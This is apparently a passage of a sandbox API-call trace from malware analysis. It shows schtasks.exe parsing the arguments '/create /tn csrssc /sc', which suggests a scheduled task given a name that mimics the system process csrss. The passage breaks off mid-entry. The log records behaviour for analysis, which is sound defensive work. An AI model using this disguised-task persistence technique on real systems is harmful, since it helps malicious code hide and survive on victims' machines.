"\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2738 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 130 os_tid = 0xf94 [0069.159] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfce0 | out: lpSystemTimeAsFileTime=0xdfce0*(dwLowDateTime=0x52301cc0, dwHighDateTime=0x1d9eb0c)) [0069.159] GetCurrentProcessId () returned 0xf90 [0069.159] GetCurrentThreadId () returned 0xf94 [0069.159] GetTickCount () returned 0x1766c7f [0069.159] RtlQueryPerformanceCounter (in: lpPerformanceCount=0xdfce8 | out: lpPerformanceCount=0xdfce8*=2487564211088) returned 1 [0069.159] GetModuleHandleW (lpModuleName=0x0) returned 0xff3d0000 [0069.159] __set_app_type (_Type=0x1) [0069.159] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff3f972c) returned 0x0 [0069.160] __wgetmainargs (in: _Argc=0xff411240, _Argv=0xff411250, _Env=0xff411248, _DoWildCard=0, _StartInfo=0xff41125c | out: _Argc=0xff411240, _Argv=0xff411250, _Env=0xff411248) returned 0 [0069.160] _onexit (_Func=0xff402ab0) returned 0xff402ab0 [0069.160] _onexit (_Func=0xff402ac4) returned 0xff402ac4 [0069.161] _onexit (_Func=0xff402afc) returned 0xff402afc [0069.161] _onexit (_Func=0xff402b58) returned 0xff402b58 [0069.161] _onexit (_Func=0xff402b80) returned 0xff402b80 [0069.161] _onexit (_Func=0xff402ba8) returned 0xff402ba8 [0069.161] _onexit (_Func=0xff402bd0) returned 0xff402bd0 [0069.161] _onexit (_Func=0xff402bf8) returned 0xff402bf8 [0069.161] _onexit (_Func=0xff402c20) returned 0xff402c20 [0069.161] _onexit (_Func=0xff402c48) returned 0xff402c48 [0069.161] _onexit (_Func=0xff402c70) returned 0xff402c70 [0069.162] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0069.162] WinSqmIsOptedIn () returned 0x0 [0069.162] GetProcessHeap () returned 0x130000 [0069.162] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x18) returned 0x14bab0 [0069.162] SetLastError (dwErrCode=0x0) [0069.163] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0069.163] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0069.163] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0069.163] VerifyVersionInfoW (in: lpVersionInformation=0xdf4a0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xdf4a0) returned 1 [0069.163] GetProcessHeap () returned 0x130000 [0069.163] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x18) returned 0x14bad0 [0069.163] lstrlenW (lpString="") returned 0 [0069.163] GetProcessHeap () returned 0x130000 [0069.163] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x2) returned 0x14baf0 [0069.163] GetProcessHeap () returned 0x130000 [0069.163] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x1459f0 [0069.163] GetProcessHeap () returned 0x130000 [0069.163] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x18) returned 0x14bb10 [0069.163] GetProcessHeap () returned 0x130000 [0069.163] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145a20 [0069.163] GetProcessHeap () returned 0x130000 [0069.163] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145a50 [0069.163] GetProcessHeap () returned 0x130000 [0069.163] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145a80 [0069.163] GetProcessHeap () returned 0x130000 [0069.163] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145ab0 [0069.163] GetProcessHeap () returned 0x130000 [0069.163] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x18) returned 0x14bb30 [0069.163] GetProcessHeap () returned 0x130000 [0069.163] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145ae0 [0069.163] GetProcessHeap () returned 0x130000 [0069.163] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145b10 [0069.163] GetProcessHeap () returned 0x130000 [0069.163] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145b40 [0069.163] GetProcessHeap () returned 0x130000 [0069.164] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145b70 [0069.164] GetProcessHeap () returned 0x130000 [0069.164] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x18) returned 0x14bb50 [0069.164] GetProcessHeap () returned 0x130000 [0069.164] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145ba0 [0069.164] GetProcessHeap () returned 0x130000 [0069.164] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145bd0 [0069.164] GetProcessHeap () returned 0x130000 [0069.164] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145c00 [0069.164] GetProcessHeap () returned 0x130000 [0069.164] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145c30 [0069.164] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0069.164] SetLastError (dwErrCode=0x0) [0069.164] GetProcessHeap () returned 0x130000 [0069.164] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145c60 [0069.164] GetProcessHeap () returned 0x130000 [0069.164] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145c90 [0069.164] GetProcessHeap () returned 0x130000 [0069.164] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145cc0 [0069.164] GetProcessHeap () returned 0x130000 [0069.164] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145cf0 [0069.164] GetProcessHeap () returned 0x130000 [0069.164] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145d20 [0069.164] GetProcessHeap () returned 0x130000 [0069.164] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x18) returned 0x14bb70 [0069.164] _memicmp (_Buf1=0x14bb70, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.164] GetProcessHeap () returned 0x130000 [0069.164] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x208) returned 0x14bd10 [0069.165] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x14bd10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0069.165] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0069.167] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0069.167] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0069.168] GetProcessHeap () returned 0x130000 [0069.168] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x74e) returned 0x14c2e0 [0069.168] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0069.168] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x14c2e0 | out: lpData=0x14c2e0) returned 1 [0069.168] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0069.168] VerQueryValueW (in: pBlock=0x14c2e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xdf588, puLen=0xdf5f0 | out: lplpBuffer=0xdf588*=0x14c67c, puLen=0xdf5f0) returned 1 [0069.171] _memicmp (_Buf1=0x14bb70, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.171] _vsnwprintf (in: _Buffer=0x14bd10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xdf568 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0069.171] VerQueryValueW (in: pBlock=0x14c2e0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xdf5f8, puLen=0xdf5e8 | out: lplpBuffer=0xdf5f8*=0x14c4a8, puLen=0xdf5e8) returned 1 [0069.171] lstrlenW (lpString="schtasks.exe") returned 12 [0069.171] lstrlenW (lpString="schtasks.exe") returned 12 [0069.171] lstrlenW (lpString=".EXE") returned 4 [0069.171] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0069.172] lstrlenW (lpString="schtasks.exe") returned 12 [0069.172] lstrlenW (lpString=".EXE") returned 4 [0069.172] _memicmp (_Buf1=0x14bb70, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.172] lstrlenW (lpString="schtasks") returned 8 [0069.172] GetProcessHeap () returned 0x130000 [0069.172] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x145e10 [0069.172] GetProcessHeap () returned 0x130000 [0069.172] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cbf0 [0069.173] GetProcessHeap () returned 0x130000 [0069.173] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cc20 [0069.173] GetProcessHeap () returned 0x130000 [0069.173] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cc50 [0069.173] GetProcessHeap () returned 0x130000 [0069.173] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x18) returned 0x14bb90 [0069.173] _memicmp (_Buf1=0x14bb90, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.173] GetProcessHeap () returned 0x130000 [0069.173] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0xa0) returned 0x14c110 [0069.173] GetProcessHeap () returned 0x130000 [0069.173] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cc80 [0069.173] GetProcessHeap () returned 0x130000 [0069.173] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14ccb0 [0069.173] GetProcessHeap () returned 0x130000 [0069.173] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cce0 [0069.173] GetProcessHeap () returned 0x130000 [0069.173] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x18) returned 0x14bbb0 [0069.173] _memicmp (_Buf1=0x14bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.173] GetProcessHeap () returned 0x130000 [0069.173] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x200) returned 0x14d3c0 [0069.173] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x14d3c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0069.173] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0069.173] GetProcessHeap () returned 0x130000 [0069.173] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x30) returned 0x147b80 [0069.173] _vsnwprintf (in: _Buffer=0x14c110, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xdf568 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0069.173] GetProcessHeap () returned 0x130000 [0069.173] GetProcessHeap () returned 0x130000 [0069.174] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14c2e0) returned 1 [0069.174] GetProcessHeap () returned 0x130000 [0069.174] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14c2e0) returned 0x74e [0069.175] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14c2e0 | out: hHeap=0x130000) returned 1 [0069.175] SetLastError (dwErrCode=0x0) [0069.175] GetThreadLocale () returned 0x409 [0069.175] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.175] lstrlenW (lpString="?") returned 1 [0069.175] GetThreadLocale () returned 0x409 [0069.175] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.175] lstrlenW (lpString="create") returned 6 [0069.175] GetThreadLocale () returned 0x409 [0069.175] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.175] lstrlenW (lpString="delete") returned 6 [0069.175] GetThreadLocale () returned 0x409 [0069.175] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.175] lstrlenW (lpString="query") returned 5 [0069.175] GetThreadLocale () returned 0x409 [0069.175] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.175] lstrlenW (lpString="change") returned 6 [0069.175] GetThreadLocale () returned 0x409 [0069.175] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.175] lstrlenW (lpString="run") returned 3 [0069.175] GetThreadLocale () returned 0x409 [0069.175] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.175] lstrlenW (lpString="end") returned 3 [0069.175] GetThreadLocale () returned 0x409 [0069.175] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.176] lstrlenW (lpString="showsid") returned 7 [0069.176] GetThreadLocale () returned 0x409 [0069.176] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.176] SetLastError (dwErrCode=0x0) [0069.176] SetLastError (dwErrCode=0x0) [0069.176] lstrlenW (lpString="/create") returned 7 [0069.176] lstrlenW (lpString="-/") returned 2 [0069.176] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0069.176] lstrlenW (lpString="?") returned 1 [0069.176] lstrlenW (lpString="?") returned 1 [0069.176] GetProcessHeap () returned 0x130000 [0069.176] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x18) returned 0x14c1c0 [0069.176] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.176] GetProcessHeap () returned 0x130000 [0069.176] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0xa) returned 0x14c2e0 [0069.176] lstrlenW (lpString="create") returned 6 [0069.176] GetProcessHeap () returned 0x130000 [0069.176] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x18) returned 0x14c300 [0069.176] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.176] GetProcessHeap () returned 0x130000 [0069.176] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x14) returned 0x14c320 [0069.176] _vsnwprintf (in: _Buffer=0x14c2e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|?|") returned 3 [0069.176] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|create|") returned 8 [0069.176] lstrlenW (lpString="|?|") returned 3 [0069.176] lstrlenW (lpString="|create|") returned 8 [0069.176] SetLastError (dwErrCode=0x490) [0069.176] lstrlenW (lpString="create") returned 6 [0069.176] lstrlenW (lpString="create") returned 6 [0069.176] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.176] GetProcessHeap () returned 0x130000 [0069.176] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14c2e0) returned 1 [0069.176] GetProcessHeap () returned 0x130000 [0069.176] RtlReAllocateHeap (Heap=0x130000, Flags=0xc, Ptr=0x14c2e0, Size=0x14) returned 0x14c340 [0069.177] lstrlenW (lpString="create") returned 6 [0069.177] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.177] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|create|") returned 8 [0069.177] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|create|") returned 8 [0069.177] lstrlenW (lpString="|create|") returned 8 [0069.177] lstrlenW (lpString="|create|") returned 8 [0069.177] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0069.177] SetLastError (dwErrCode=0x0) [0069.177] SetLastError (dwErrCode=0x0) [0069.177] SetLastError (dwErrCode=0x0) [0069.177] lstrlenW (lpString="/tn") returned 3 [0069.177] lstrlenW (lpString="-/") returned 2 [0069.177] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0069.177] lstrlenW (lpString="?") returned 1 [0069.177] lstrlenW (lpString="?") returned 1 [0069.177] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.177] lstrlenW (lpString="tn") returned 2 [0069.177] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.177] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|?|") returned 3 [0069.177] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|tn|") returned 4 [0069.177] lstrlenW (lpString="|?|") returned 3 [0069.177] lstrlenW (lpString="|tn|") returned 4 [0069.177] SetLastError (dwErrCode=0x490) [0069.177] lstrlenW (lpString="create") returned 6 [0069.177] lstrlenW (lpString="create") returned 6 [0069.177] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.177] lstrlenW (lpString="tn") returned 2 [0069.177] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.177] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|create|") returned 8 [0069.177] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|tn|") returned 4 [0069.177] lstrlenW (lpString="|create|") returned 8 [0069.178] lstrlenW (lpString="|tn|") returned 4 [0069.178] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0069.178] SetLastError (dwErrCode=0x490) [0069.178] lstrlenW (lpString="delete") returned 6 [0069.178] lstrlenW (lpString="delete") returned 6 [0069.178] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.178] lstrlenW (lpString="tn") returned 2 [0069.178] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.178] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|delete|") returned 8 [0069.178] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|tn|") returned 4 [0069.178] lstrlenW (lpString="|delete|") returned 8 [0069.178] lstrlenW (lpString="|tn|") returned 4 [0069.178] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0069.178] SetLastError (dwErrCode=0x490) [0069.178] lstrlenW (lpString="query") returned 5 [0069.178] lstrlenW (lpString="query") returned 5 [0069.178] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.178] lstrlenW (lpString="tn") returned 2 [0069.178] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.178] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|query|") returned 7 [0069.178] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|tn|") returned 4 [0069.178] lstrlenW (lpString="|query|") returned 7 [0069.178] lstrlenW (lpString="|tn|") returned 4 [0069.178] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0069.178] SetLastError (dwErrCode=0x490) [0069.178] lstrlenW (lpString="change") returned 6 [0069.178] lstrlenW (lpString="change") returned 6 [0069.178] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.179] lstrlenW (lpString="tn") returned 2 [0069.179] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.179] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|change|") returned 8 [0069.179] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|tn|") returned 4 [0069.179] lstrlenW (lpString="|change|") returned 8 [0069.179] lstrlenW (lpString="|tn|") returned 4 [0069.179] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0069.179] SetLastError (dwErrCode=0x490) [0069.179] lstrlenW (lpString="run") returned 3 [0069.179] lstrlenW (lpString="run") returned 3 [0069.179] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.179] lstrlenW (lpString="tn") returned 2 [0069.179] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.179] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|run|") returned 5 [0069.179] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|tn|") returned 4 [0069.179] lstrlenW (lpString="|run|") returned 5 [0069.179] lstrlenW (lpString="|tn|") returned 4 [0069.179] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0069.179] SetLastError (dwErrCode=0x490) [0069.179] lstrlenW (lpString="end") returned 3 [0069.179] lstrlenW (lpString="end") returned 3 [0069.179] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.179] lstrlenW (lpString="tn") returned 2 [0069.179] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.179] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|end|") returned 5 [0069.179] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|tn|") returned 4 [0069.179] lstrlenW (lpString="|end|") returned 5 [0069.179] lstrlenW (lpString="|tn|") returned 4 [0069.179] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0069.179] SetLastError (dwErrCode=0x490) [0069.179] lstrlenW (lpString="showsid") returned 7 [0069.180] lstrlenW (lpString="showsid") returned 7 [0069.180] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.180] GetProcessHeap () returned 0x130000 [0069.180] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14c340) returned 1 [0069.180] GetProcessHeap () returned 0x130000 [0069.180] RtlReAllocateHeap (Heap=0x130000, Flags=0xc, Ptr=0x14c340, Size=0x16) returned 0x14c340 [0069.180] lstrlenW (lpString="tn") returned 2 [0069.180] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.180] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|showsid|") returned 9 [0069.180] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|tn|") returned 4 [0069.180] lstrlenW (lpString="|showsid|") returned 9 [0069.180] lstrlenW (lpString="|tn|") returned 4 [0069.180] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0069.180] SetLastError (dwErrCode=0x490) [0069.180] SetLastError (dwErrCode=0x490) [0069.180] SetLastError (dwErrCode=0x0) [0069.180] lstrlenW (lpString="/tn") returned 3 [0069.180] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0069.180] SetLastError (dwErrCode=0x490) [0069.180] SetLastError (dwErrCode=0x0) [0069.180] lstrlenW (lpString="/tn") returned 3 [0069.180] GetProcessHeap () returned 0x130000 [0069.180] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x8) returned 0x14c2e0 [0069.180] GetProcessHeap () returned 0x130000 [0069.180] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cd10 [0069.180] SetLastError (dwErrCode=0x0) [0069.180] SetLastError (dwErrCode=0x0) [0069.180] lstrlenW (lpString="csrssc") returned 6 [0069.180] lstrlenW (lpString="-/") returned 2 [0069.180] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0069.181] SetLastError (dwErrCode=0x490) [0069.181] SetLastError (dwErrCode=0x490) [0069.181] SetLastError (dwErrCode=0x0) [0069.181] lstrlenW (lpString="csrssc") returned 6 [0069.181] StrChrIW (lpStart="csrssc", wMatch=0x3a) returned 0x0 [0069.181] SetLastError (dwErrCode=0x490) [0069.181] SetLastError (dwErrCode=0x0) [0069.181] lstrlenW (lpString="csrssc") returned 6 [0069.181] GetProcessHeap () returned 0x130000 [0069.181] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0xe) returned 0x14c370 [0069.181] GetProcessHeap () returned 0x130000 [0069.181] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cd40 [0069.181] SetLastError (dwErrCode=0x0) [0069.181] SetLastError (dwErrCode=0x0) [0069.181] lstrlenW (lpString="/sc") returned 3 [0069.181] lstrlenW (lpString="-/") returned 2 [0069.181] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0069.181] lstrlenW (lpString="?") returned 1 [0069.181] lstrlenW (lpString="?") returned 1 [0069.181] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.181] lstrlenW (lpString="sc") returned 2 [0069.181] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.181] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|?|") returned 3 [0069.181] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|sc|") returned 4 [0069.181] lstrlenW (lpString="|?|") returned 3 [0069.181] lstrlenW (lpString="|sc|") returned 4 [0069.181] SetLastError (dwErrCode=0x490) [0069.181] lstrlenW (lpString="create") returned 6 [0069.181] lstrlenW (lpString="create") returned 6 [0069.181] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.181] lstrlenW (lpString="sc") returned 2 [0069.181] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.182] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|create|") returned 8 [0069.182] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|sc|") returned 4 [0069.182] lstrlenW (lpString="|create|") returned 8 [0069.182] lstrlenW (lpString="|sc|") returned 4 [0069.182] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0069.182] SetLastError (dwErrCode=0x490) [0069.182] lstrlenW (lpString="delete") returned 6 [0069.182] lstrlenW (lpString="delete") returned 6 [0069.182] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.182] lstrlenW (lpString="sc") returned 2 [0069.182] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.182] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|delete|") returned 8 [0069.182] _vsnwprintf (in: _Buffer=0x14c320, 